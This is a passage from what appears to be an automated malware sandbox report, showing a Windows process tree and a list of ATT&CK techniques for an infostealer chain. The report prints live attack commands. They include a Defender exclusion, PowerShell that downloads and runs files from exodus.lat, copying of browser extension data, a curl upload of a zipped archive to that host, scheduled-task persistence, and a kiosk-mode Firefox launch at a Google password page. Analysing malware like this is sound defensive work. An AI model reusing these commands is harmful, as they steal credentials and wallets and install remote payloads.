      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:116
    - - C:\Users\Admin\AppData\Local\Temp\is-ODVJL.tmp\i1A5m12.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ODVJL.tmp\i1A5m12.tmp" /SL5="$70230,3291517,54272,C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2648
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause raf_encoder_1252
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4852
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 pause raf_encoder_1252
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4352
      - C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder.exe
        
        "C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder.exe" -i
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3128
  - - C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe
      "C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3616
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2680
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4564
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3820
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3408
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 491505
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3492
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1592
      - C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
        
        Dr.com B
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1284
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5340
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5616
        
        C:\Windows\SysWOW64\net.exe
        
        net session
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:4448
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5656
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1292
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5944
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2320
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /E /I "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\*" "C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\"
        10⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:684
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3088
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s https://api.ipify.org
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:5828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip'"
        10⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2056
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:5104
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip" "https://exodus.lat/files/upload.php"
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:436
        
        C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
        
        "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2000
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:224
        
        C:\Windows\SysWOW64\net.exe
        
        net session
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:5352
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:5476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
        
        "C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
        10⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
      - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 15
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3976
  - - C:\Users\Admin\AppData\Local\Temp\1012579001\ca0fc6777c.exe
      "C:\Users\Admin\AppData\Local\Temp\1012579001\ca0fc6777c.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1252
  - - C:\Users\Admin\AppData\Local\Temp\1012580001\06d41594d9.exe
      "C:\Users\Admin\AppData\Local\Temp\1012580001\06d41594d9.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2388
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2388 -s 1556
        5⤵
        Program crash
        
        PID:5980
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2388 -s 1540
        5⤵
        Program crash
        
        PID:5988
  - - C:\Users\Admin\AppData\Local\Temp\1012581001\38f25d7919.exe
      "C:\Users\Admin\AppData\Local\Temp\1012581001\38f25d7919.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:544
  - - C:\Users\Admin\AppData\Local\Temp\1012582001\f672d1755a.exe
      "C:\Users\Admin\AppData\Local\Temp\1012582001\f672d1755a.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:1292
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2828
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2880
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2128
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4468
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:4324
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        6⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3408
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2032 -parentBuildID 20240401114208 -prefsHandle 1960 -prefMapHandle 1952 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {23b2cb8f-1c6d-4381-8cd3-7daa2f8a90f0} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" gpu
        7⤵
        
        PID:1296
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2472 -parentBuildID 20240401114208 -prefsHandle 2448 -prefMapHandle 2444 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {96fe4772-3a9a-49d3-a60c-1cec54ab547d} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" socket
        7⤵
        
        PID:4492
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2852 -childID 1 -isForBrowser -prefsHandle 3052 -prefMapHandle 3188 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f40f1f6e-7072-41de-9b00-8caca0f945ae} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        7⤵
        
        PID:4248
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3720 -childID 2 -isForBrowser -prefsHandle 3712 -prefMapHandle 3248 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cd67499b-90d6-4efd-8c64-33c660d2a25b} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        7⤵
        
        PID:2272
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4588 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4656 -prefMapHandle 4652 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9dec769c-010a-47e0-afbd-06effc39b0b2} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" utility
        7⤵
        Checks processor information in registry
        
        PID:5604
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5396 -childID 3 -isForBrowser -prefsHandle 5356 -prefMapHandle 5360 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0326ba0f-dc49-45ac-847b-faa81ed8b460} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        7⤵
        
        PID:5484
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5468 -childID 4 -isForBrowser -prefsHandle 5480 -prefMapHandle 5484 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7eba1c74-f3c9-4423-b2d2-303e843cd14c} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        7⤵
        
        PID:5448
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5768 -childID 5 -isForBrowser -prefsHandle 5676 -prefMapHandle 5680 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b708980d-98a0-4520-80b9-3c1841b4a63f} 3408 "\\.\pipe\gecko-crash-server-pipe.3408" tab
        7⤵
        
        PID:5436
  - - C:\Users\Admin\AppData\Local\Temp\1012583001\08bf4e72b2.exe
      "C:\Users\Admin\AppData\Local\Temp\1012583001\08bf4e72b2.exe"
      4⤵
      Modifies Windows Defender Real-time Protection settings
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Windows security modification
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3088

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2388 -ip 2388
1⤵
PID:5944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2388 -ip 2388
1⤵
PID:5956

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5476

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion